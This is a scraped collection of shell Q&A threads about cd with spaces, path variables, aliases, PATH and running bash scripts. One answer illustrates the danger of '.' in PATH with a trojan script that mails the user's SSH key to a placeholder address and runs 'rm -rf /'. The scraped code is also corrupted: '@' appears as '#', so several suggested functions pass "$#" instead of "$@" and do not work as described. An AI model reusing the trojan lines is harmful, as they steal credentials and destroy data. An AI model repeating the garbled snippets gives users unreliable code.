Autocomplete backslashes in zsh - bash

Is there a zsh script that would allow me to auto complete spaces with backslashes?
For example:
assume there is a folder called "My folder" with a space in between.
If I want to get inside, I
cd My\ folder
However, I want a way to type
cd My folder
and zsh will automatically know to put a backslash so I don't have to.

A little late on the answer, but this should allow you to do what it is you're looking to do as well as retain the normal behavior for the cd command and also take you to your ~ directory if no directory is given.
Add to your ~/.zshrc file:
function cd() {
new_directory="$*";
if [ $# -eq 0 ]; then
new_directory=${HOME};
fi;
builtin cd "${new_directory}"
}
However your ZSH should have autocompletion built in, in which case you can enter the first few letters of the directory that you're trying to cd into, then hit tab and it should complete the directory name or give a list of directories if more than one matches.

You could Make an alias with "Myfolder" and run that in a zsh script.
alias -g "Myfolder"="My\ folder" ---> cd Myfolder
I don't know if there is a way to make it possible with having the space in between the words. If it has to be my "My folder" then I don't know that I can help you.

Related

How to export a windows path and then cd to is using the variable?

I typically export variables with directories/paths that I frequently visit so that I don't have to type the whole thing (or tab). For example, in Windows, I'll create an environment variable and then use it in a bash prompt (git bash): cd $MY_LONG_PATH
Or, I can export a path in my .bashrc and use it the same way. Both ways work fine until you add spaces into the mix. For example, I'd like to be able to export a path like C:\Users\name\OneDrive - Company, Inc\Documents\My Project Folder\. You might say, just use a different directory. Unfortunately, I can't change this one because it's controled by my org. So, considering I can't change it, how can I get it to work with an environment or exported variable? I've tried both ways, but can't seem to get it right. I've escaped all the chars in .bashrc c\:/Users/name/OneDrive\ -\ Company,\ Inc/Documents/My\ Project\ Folder. This will work on the bash cli when I type it in (terminal), but doesn't work when I export it as a variable. I've tried using quotes around the whole thing and that doesn't work either. I've tried it in the regular windows environment variable control panel, and that doesn't work. Does anyone know the fix, if there is one?
Again, the goal is just to be able to: cd $LONG_PATH with the variable containing a windows directory with spaces
My test on Gitbash
# remove the trailing backslash
MY_LONG_PATH="C:\Users\name\OneDrive - Company, Inc\Documents\My Project Folder" <---
# use quotes
$ ls -l "$MY_LONG_PATH"
total 0
drwxr-xr-x 1 user 197613 0 Apr 14 00:10 test/
$ cd "$MY_LONG_PATH"
$ pwd
/c/Users/name/OneDrive - Company, Inc/Documents/My Project Folder
$ ls
test/
I figured out a way to do this. While ufopilot's answer was good, I didn't like having to use quotes for variables that have special characters. Also, I found that when you use tab-completion, there's a bug in bash (bash-completion) that will escape the $ in a variable on the command-line, which in turn would break the directory path. So to fix all of this, I first created a soft symlink to the path that contains spaces using Windows cmd:
> mklink /D C:\Users\name\projects "C:\Users\name\OneDrive - Company, Inc\Documents\My Project Folder"
And now I can export the variable in .bashrc:
export LONG_PATH="C:\Users\name\projects"
This allows me to change directories without putting quotes around LONG_PATH:
> cd $LONG_PATH
To fix the problem with tab-completion, I had to run the bash command:
shopt -s direxpand
What this does is it expands the variable first and then escapes the special characters if needed (for example, if yet another directory has spaces). Everything works like my other path variables now!

How to call a command without giving its full path?

I installed a text editor under /usr/share/my-editor/editor-executable.
When I want to launch the editor in terminal I have to write the complete path:
# /usr/share/my-editor/editor-executable file-to-open
I would create a command for the editor so I can simply digit:
# my-editor file-to-open
How can I do?
The reason you couldn't launch your executable is because the shell look for the command in any of the paths defined in the PATH environment variable (known paths from now).
You can check those known paths with:
echo $PATH
As you can see, /usr/bin is defined there as well as other paths.
Anyway, you can get what you want in several ways.
Note below that when I use the ~ directory, the command will be only available for the current user.
Creating an alias my-editor
This is my favourite when you want to run a command which is not found in the known paths. It would be a good idea for you too. In bash you can place the alias in ~/.bash_aliases.
echo alias my-editor=/usr/share/my-editor/my-editor-executable >> ~/.bash_aliases
Creating a link to your file in some of the known paths
It's the way you have done it and just to clarify, if you had created the link in any of the known paths, it would have worked too.
ln -s /usr/share/my-editor/my-editor-executable /usr/bin/my-editor
Defining a function with name my-editor
I think it's too much due to your needs but it's up to you if want to give it a try. It can be useful for other purposes.
You must define it in a file read by your shell. e.g. ~/.bashrc in bash. Shell files invocation.
cat >> ~/.bashrc << "EOF"
function my-editor() {
/usr/share/my-editor/my-editor-executable "$#"
}
EOF
Adding /usr/share/my-editor/ to the PATH
You can add a new path to the PATH variable. In Ubuntu, the PATH variable is generally set in /etc/environment and if you modify this file, the new path will be accesible for all users.
However, if you want to be the only one who has access to the new path, you can set it in one of the personal shell files. e.g. in bash: ~/.bashrc. Shell files invocation.
echo 'export PATH="$PATH:/usr/share/my-editor/"' >> ~/.bashrc
[bash] Entering a command into the hash table
A singular way to get the same result in bash is adding my-editor into the shell hash table. Again, you must add the command in some file read by bash (~/.bashrc).
echo 'hash -p /usr/share/my-editor/my-editor-executable my-editor' >> ~/.bashrc
Moving the executable to a known path
Finally, if you don't need the file (my-editor-executable) in his current directory anymore, you can simply move it to a known path.
mv /usr/share/my-editor/my-editor-executable /usr/bin/my-editor
I answer by myself:
I created a link to executable file under /usr/bin :
# ln -sF /usr/share/my-editor/my-editor-executable /usr/bin/my-editor
Now it is possible to run the application "my-editor" via terminal everywhere in the file system

How to disable cd command-line?

Typing 'cd' alone in unix terminal leads to Home directory. I wish to disable this functionality. Usually I make the error of typing enter just after cd, and then each time I need to comback to the previous working directory. I loose a lot of time by doing so.
To go Home directory, one would instead just need to type cd ~.
Any idea please?
You can use cd - to quickly return to the previous directory ($OLDPWD). In general, I recommend getting used to UNIX as it is. But if you really want to, add this function to ~/.bashrc. It will make cd with no arguments a noop.
cd() {
(( $# > 0)) && builtin cd "$#"
}

Why do I have to use an absolute path to execute Bash scripts?

I have a Bash script on my desktop called highest.
If I run:
cd ~/Desktop
highest
I get: Command not found
But if I run:
~/Desktop/highest
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.
I agree with #Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker#foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor#university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
export PATH=$PATH:~/bin
To verify that highest is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.
The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:
export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"
Don't change PATH, simply move or symlink the script to some standard location, e.g.
mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest
If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.
You would need to add the local directory to your path:
PATH=$PATH:.
export PATH
This can be done in your .profile or .bash_profile to always set this up whenever you login.
Also, as a matter of course, you can run the command with the current directory marker:
./highest
as well.
Of course there are security implications as noted below by many MANY users, which I should have mentioned.

How do I execute a bash script in Terminal?

I have a bash script like:
#!/bin/bash
echo Hello world!
How do I execute this in Terminal?
Yet another way to execute it (this time without setting execute permissions):
bash /path/to/scriptname
$prompt: /path/to/script and hit enter. Note you need to make sure the script has execute permissions.
cd to the directory that contains the script, or put it in a bin folder that is in your $PATH
then type
./scriptname.sh
if in the same directory or
scriptname.sh
if it's in the bin folder.
You could do:
sh scriptname.sh
This is an old thread, but I happened across it and I'm surprised nobody has put up a complete answer yet. So here goes...
The Executing a Command Line Script Tutorial!
Q: How do I execute this in Terminal?
The answer is below, but first ... if you are asking this question, here are a few other tidbits to help you on your way:
Confusions and Conflicts:
The Path
Understanding The Path (added by tripleee for completeness) is important. The "path" sounds like a Zen-like hacker koan or something, but it is simply a list of directories (folders) that are searched automatically when an unknown command is typed in at the command prompt. Some commands, like ls may be built-in's, but most commands are actually separate small programs. (This is where the "Zen of Unix" comes in ... "(i) Make each program do one thing well.")
Extensions
Unlike the old DOS command prompts that a lot of people remember, you do not need an 'extension' (like .sh or .py or anything else), but it helps to keep track of things. It is really only there for humans to use as a reference and most command lines and programs will not care in the least. It won't hurt. If the script name contains an extension, however, you must use it. It is part of the filename.
Changing directories
You do not need to be in any certain directory at all for any reason. But if the directory is not on the path (type echo $PATH to see), then you must include it. If you want to run a script from the current directory, use ./ before it. This ./ thing means 'here in the current directory.'
Typing the program name
You do not need to type out the name of the program that runs the file (BASH or Python or whatever) unless you want to. It won't hurt, but there are a few times when you may get slightly different results.
SUDO
You do not need sudo to do any of this. This command is reserved for running commands as another user or a 'root' (administrator) user. Running scripts with sudo allows much greater danger of screwing things up. So if you don't know the exact reason for using sudo, don't use it. Great post here.
Script location ...
A good place to put your scripts is in your ~/bin folder.
You can get there by typing
# A good place to put your scripts is in your ~/bin folder.
> cd ~/bin # or cd $HOME/bin
> ls -l
You will see a listing with owners and permissions. You will notice that you 'own' all of the files in this directory. You have full control over this directory and nobody else can easily modify it.
If it does not exist, you can create one:
> mkdir -p ~/bin && cd ~/bin
> pwd
/Users/Userxxxx/bin
A: To "execute this script" from the terminal on a Unix/Linux type system, you have to do three things:
1. Tell the system the location of the script. (pick one)
# type the name of the script with the full path
> /path/to/script.sh
# execute the script from the directory it is in
> ./script.sh
# place the script in a directory that is on the PATH
> script.sh
# ... to see the list of directories in the path, use:
> echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# ... or for a list that is easier to read:
> echo -e ${PATH//:/\\n}
# or
> printf "%b" "${PATH//:/\\n}"
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
2. Tell the system that the script has permission to execute. (pick one)
# set the 'execute' permissions on the script
> chmod +x /path/to/script.sh
# using specific permissions instead
# FYI, this makes these scripts inaccessible by ANYONE but an administrator
> chmod 700 /path/to/script.sh
# set all files in your script directory to execute permissions
> chmod +x ~/bin/*
There is a great discussion of permissions with a cool chart here.
3. Tell the system the type of script. (pick one)
Type the name of the program before the script. (Note: when using this method, the execute(chmod thing above) is not required
> bash /path/to/script.sh
...
> php /path/to/script.php
...
> python3 /path/to/script.py
...
Use a shebang, which I see you have (#!/bin/bash) in your example. If you have that as the first line of your script, the system will use that program to execute the script. No need for typing programs or using extensions.
Use a "portable" shebang. You can also have the system choose the version of the program that is first in the PATH by using #!/usr/bin/env followed by the program name (e.g. #!/usr/bin/env bash or #!/usr/bin/env python3). There are pros and cons as thoroughly discussed here.
Note: This "portable" shebang may not be as portable as it seems. As with anything over 50 years old and steeped in numerous options that never work out quite the way you expect them ... there is a heated debate. The most recent one I saw that is actually quite different from most ideas is the "portable" perl-bang:
#!/bin/sh
exec perl -x "$0" "$#"
#!perl
Firstly you have to make it executable using: chmod +x name_of_your_file_script.
After you made it executable, you can run it using ./same_name_of_your_file_script
Change your directory to where script is located by using cd command
Then type
bash program-name.sh
And yet one more way
. /path/to/script
What is the meaning of the dot?
If you are in a directory or folder where the script file is available then simply change the file permission in executable mode by doing
chmod +x your_filename.sh
After that you will run the script by using the following command.
$ sudo ./your_filename.sh
Above the "." represent the current directory.
Note!
If you are not in the directory where the bash script file is present then you change the directory where the file is located by using
cd Directory_name/write the complete path
command. Otherwise your script can not run.

Resources